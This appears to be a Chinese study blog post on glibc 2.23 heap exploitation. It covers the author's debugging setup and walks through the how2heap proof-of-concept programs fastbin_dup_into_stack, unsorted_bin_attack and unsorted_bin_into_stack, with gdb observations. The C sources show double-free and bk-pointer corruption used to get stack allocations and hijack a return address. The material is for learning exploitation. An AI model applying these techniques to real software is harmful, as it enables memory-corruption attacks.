主要工具:

pwncli(https://github.com/RoderickChan/pwncli)

PwnGdb(https://github.com/scwuaptx/Pwngdb)

gdb配置參考(https://bbs.kanxue.com/thread-276203.htm)

主要操作環境:

wsl-kali。配置參考我的另一篇文章(https://bbs.kanxue.com/thread-276122.htm)。

docker desktop鏡像

ubuntu:16.04

ubuntu:18.04

ubuntu:22.04

編譯時可以加-g來方便調試。

ida pro 7.7.7 + gdb調試。

我的.gdbinit文件:
source ~/pwndbg/gdbinit.py
source ~/peda/peda.py
source ~/Pwngdb/pwngdb.py
source ~/Pwngdb/angelheap/gdbinit.py
define hook-run
python
import angelheap
angelheap.init_angelheap()
end
end
#set context-clear-screen on
#set debug-events off
#source /root/splitmind/gdbinit.py
#python
#sections = "regs"
#mode = input("source/disasm/mixed mode:?(s/d/m)") or "d"
#import splitmind
#spliter = splitmind.Mind()
#spliter.select("main").right(display="regs", size="50%")
#gdb.execute("set context-stack-lines 10")
#legend_on = "code"
#if mode == "d":
#    legend_on = "disasm"
#    sections += " disasm"
#    spliter.select("main").above(display="disasm", size="70%", banner="none")
#    gdb.execute("set context-code-lines 30")
#elif mode == "s":
#    sections += " code"
#    spliter.select("main").above(display="code", size="70%", banner="none")
#    gdb.execute("set context-source-code-lines 30")
#else:
#    sections += " disasm code"
#    spliter.select("main").above(display="code", size="70%")
#    spliter.select("code").below(display="disasm", size="40%")
#    gdb.execute("set context-code-lines 8")
#    gdb.execute("set context-source-code-lines 20")
#sections += " args stack backtrace expressions"
#spliter.show("legend", on=legend_on)
#spliter.show("stack", on="regs")
#spliter.show("backtrace", on="regs")
#spliter.show("args", on="regs")
#spliter.show("expressions", on="args")
#gdb.execute("set context-sections \"%s\"" % sections)
#gdb.execute("set show-retaddr-reg on")
#spliter.build()
#end

Glibc2.23版本源碼分析

fastbin_dup_into_stack

源碼:

#include <stdio.h>
#include <stdlib.h>
int main()
{
    fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
           "returning a pointer to a controlled location (in this case, the stack).\n");
    unsigned long long stack_var;
    fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
    fprintf(stderr, "Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);
    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);
    fprintf(stderr, "Freeing the first one...\n");
    free(a);
    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);
    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);
    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);
    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
        "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
    unsigned long long *d = malloc(8);
    fprintf(stderr, "1st malloc(8): %p\n", d);
    fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
    fprintf(stderr, "Now the free list has [ %p ].\n", a);
    fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
        "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
        "so that malloc will think there is a free chunk there and agree to\n"
        "return a pointer to it.\n", a);
    stack_var = 0x20;
    fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
    fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
    fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

使用ubuntu:16.04進行編譯。

使用pwncli改寫rpath。

在malloc三次后, 0x400743處下斷點。

查看堆信息,三個fastbin的堆塊,f1,f2,f3。

在free(f1),free(f2),free(f1)后,在0x40083B下斷點。

查看fastbinY信息。

0x20大小的fastbins鏈上形成了double free。

再次malloc兩次后,設斷點在0x40089F。

再次查看bins,因為申請兩次后,fastbins中剩下f1(0x60300),而0x60300指向0x603020沒有改變,0x603020指向0x60300也沒變,并且fastbins中的chunk標記為prev_inuse一直為1,所以fastbins中依然保留這個ABA結構。

接下來,查看匯編代碼,StackVar值改為0x20,為了放入0x20大小的fastbins,接下來把f1指向了StackVar以上0x8處,也就是prev_size的位置。將StackVar放入了0x20的fastbins中。在0x40092C處下斷點。

查看堆信息。

這時候在申請兩次便可申請到棧上。

在0x40095c下斷點。

可以看到,已經申請到了棧上的值。

unsorted_bin_attack

源碼:

#include <stdio.h>
#include <stdlib.h>
int main(){
    fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
    fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
           "global variable global_max_fast in libc for further fastbin attack\n\n");
    unsigned long stack_var=0;
    fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
    fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);
    unsigned long *p=malloc(400);
    fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
    fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
           "the first one during the free()\n\n");
    malloc(500);
    free(p);
    fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
           "point to %p\n",(void*)p[1]);
    //------------VULNERABILITY-----------
    p[1]=(unsigned long)(&stack_var-2);
    fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
    fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);
    //------------------------------------
    malloc(400);
    fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
           "rewritten:\n");
    fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}
使用ubuntu:16.04進行編譯,然后使用pwncli改寫rpath。

首先申請了兩個堆塊,第一個堆塊不屬于fastbin大小,先進入unsortedbin中,第二個堆塊為了防止第一塊堆塊與topchunk合并。在free第一個堆塊前設置斷點。

查看bins和heap信息:

free第一個chunk以后,bins和heap信息,unsortedbin里的第一個chunk的fd和bk指向main_arena+0x58的位置。

接下來利用uaf將unsortedbin中的第一個chunk的bk指針(rax存儲的指針指向fd,rax+8指向bk,bk指向后加入的chunk)指向StackVar的prev_size位置。

在0x4007D9處下斷點,查看heap和bins信息。可以看到,0x602000處的chunk的bk指針被改為了一個棧值,fd指向main_arena+0x58的位置。

再次將unsortedbin中第一個chunk給malloc出來以后,unsortedbin中僅剩StackVar-0x10。

在0x400828下斷點。查看heap和bins信息。

可以看到,StackVar的fd指針即用戶區域起始處已被修改為main_arena+0x58的值。

unsorted_bin_into_stack

源碼:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>
void jackpot(){ printf("Nice jump d00d\n"); exit(0); }
int main() {
    intptr_t stack_buffer[4] = {0};
    printf("Allocating the victim chunk\n");
    intptr_t* victim = malloc(0x100);
    printf("Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n");
    intptr_t* p1 = malloc(0x100);
    printf("Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
    free(victim);
    printf("Create a fake chunk on the stack");
    printf("Set size for next allocation and the bk pointer to any writable address");
    stack_buffer[1] = 0x100 + 0x10;
    stack_buffer[3] = (intptr_t)stack_buffer;
    //------------VULNERABILITY-----------
    printf("Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n");
    printf("Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n");
    victim[-1] = 32;
    victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
    //------------------------------------
    printf("Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]);
    char *p2 = malloc(0x100);
    printf("malloc(0x100): %p\n", p2);
    intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
    memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
    assert((long)__builtin_return_address(0) == (long)jackpot);
}
使用ubuntu16.04編譯,然后使用pwncli改寫rpath。